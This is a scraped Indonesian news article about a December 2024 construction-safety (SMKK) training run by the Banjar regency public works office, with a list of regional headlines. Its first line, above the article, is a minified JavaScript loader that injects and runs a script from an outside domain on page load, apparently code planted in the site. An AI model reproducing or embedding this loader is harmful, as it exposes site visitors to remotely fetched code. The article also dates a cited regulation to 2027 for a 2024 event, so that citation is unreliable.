(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dinas PUPRP Kab Banjar

Tingkatkan Keselamatan Kerja pada Pekerjaan Konstruksi, DPURP Banjar Gelar Bimtek Penerapan SMKK


KANALKALIMANTAN.COM, MARTAPURA – Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar melaksanakan Bimbingan Teknis (Bimtek) Penerapan Sistem Manajemen Keselamatan Konstruksi (SMKK) pada Pekerjaan Konstruksi, Selasa (3/12/2024).

Kegiatan itu digelar melalui Bidang Bina Jasa Konstruksi pada Dinas PUPRP Kabupaten Banjar.

Seksi Pengawasan selaku pelaksana merasa perlu melaksanakan Bimtek ini untuk meningkatkan kesadaran dan kepedulian keselamatan kerja pada pekerjaan konstruksi.

Disamping itu, Bimtek ini juga bertujuan untuk mencetak SDM bidang Konstruksi yang kompeten dan profesional yang nantinya diharapkan dapat menciptakan lingkungan kerja yang aman, efisien dan produktif, dan dapat mengurangi risiko kecelakaan dan penyakit akibat kerja.

Bimtek ini diikuti oleh pelaksana Pekerjaan Konstruksi baik dari kontraktor, konsultan dan pengguna jasa yang berasal dari SKPD ke-PU-an maupun SKPD non ke-PU-an.

Kegiatan yang menghadirkan narasumber ketua Perkumpulan Ahli Keselamatan Konstruksi Indonesia (PAKKI) Kalsel, Ir Syaiful Mutaher ST, MT itu dibuka oleh Sekretaris Dinas PUPRP bapak H Gusti Abubakar ST, MT didampingi Kepala Bidang Bina Jasa Konstruksi RR Dian Parwatisari, SH, MSi.

Dalam sambutannya H Gusti Abubakar menyampaikan amanat Peraturan Menteri Pekerjaan Umum dan Perumahan Rakyat Nomor 10 Tahun 2027 tentang Sistem Manajemen Keselamatan Konstruksi (SMKK), yang berbunyi Setiap Pengguna Jasa dan Penyedia Jasa dalam penyelenggaraan Jasa Konstruksi harus menerapkan SMKK.

“SMKK harus memenuhi Standar Keamanan, Keselamatan, Kesehatan, dan Keberlanjutan.

Penerapan SMKK merupakan bagian dari sistem manajemen pelaksanaan pekerjaan konstruksi yang dilaksanakan berdasar tugas, tanggung jawab, dan wewenang dari Pengguna Jasa dan Penyedia Jasa itu sendiri,” jelas dia.

Dia juga berpesan kepada peserta agar dapat menggunakan kesempatan ini sebaik-baiknya untuk menambah pengetahuan dan wawasan mengenai SMKK dan dapat menerapkannya pada proyek konstruksi di lingkup SKPD masing-masing. (kanalkalimantan.com/dinaspuprpbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

13 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

21 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.